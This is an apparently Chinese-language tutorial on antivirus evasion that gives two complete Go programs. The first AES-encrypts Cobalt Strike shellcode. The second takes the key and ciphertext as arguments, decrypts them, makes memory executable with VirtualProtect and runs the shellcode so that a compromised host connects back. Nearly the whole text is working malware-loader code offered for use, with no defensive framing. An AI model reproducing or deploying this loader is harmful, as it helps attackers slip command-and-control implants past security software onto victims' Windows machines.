Golang免杀-分离式加载器(传参)AES加密

enc.go

生成:

dec.go

--执行dec.go...--上线

cs生成个c语言的shellcode.

enc.go

go run .\enc.go shellcode

生成:

--key为公钥.

--code为AES加密后的数据,

----此脚本每次运行key和code都会变化.

package mainimport ("bytes""crypto/aes""crypto/cipher""encoding/base64""encoding/hex""fmt""math/rand""os""strings""time"
)//随机生成key,后面用来解密的
func key(l int) string {str := "0123456789abcdefghijklmnopqrstuvwxyz"bytes := []byte(str)result := []byte{}r := rand.New(rand.NewSource(time.Now().UnixNano()))for i := 0; i < l; i++ {result = append(result, bytes[r.Intn(len(bytes))])}return string(result)
}//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {padding := blockSize - len(ciphertext)%blockSizepadtext := bytes.Repeat([]byte{byte(padding)}, padding)return append(ciphertext, padtext...)
}//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()origData = PKCS5Padding(origData, blockSize)blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])crypted := make([]byte, len(origData))blockMode.CryptBlocks(crypted, origData)return crypted, nil
}//主函数入口,对字符进行了处理
func main() {argsWithProg := os.Argsif len(argsWithProg) < 2 {fmt.Println("usage : ", argsWithProg[0], " paylaod.c")return}confFile := os.Args[1]str2 := strings.Replace(confFile, "\\x", "", -1)data, _ := hex.DecodeString(str2)key1 := key(16)fmt.Println("Key:", key1)var key []byte = []byte(key1)aes, _ := AesEncrypt(data, key)encoded := base64.StdEncoding.EncodeToString(aes)fmt.Println("Code:", encoded)
}

dec.go

go run ./dec.go key code

--key,code都是上面生成的.

package mainimport ("crypto/aes""crypto/cipher""encoding/base64""os""syscall""unsafe"
)// 这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0
}// shellcode执行函数
func Run(sc []byte) {f := func() {}var oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))var oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}f()
}// 同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {length := len(origData)unpadding := int(origData[length-1])return origData[:(length - unpadding)]
}// 经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])origData := make([]byte, len(crypted))blockMode.CryptBlocks(origData, crypted)origData = PKCS5UnPadding(origData)return origData, nil
}// 运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {key1 := os.Args[1]payload1 := os.Args[2]encoded2, _ := base64.StdEncoding.DecodeString(payload1)var key []byte = []byte(key1)AES, _ := AesDecrypt(encoded2, key)Run(AES)
}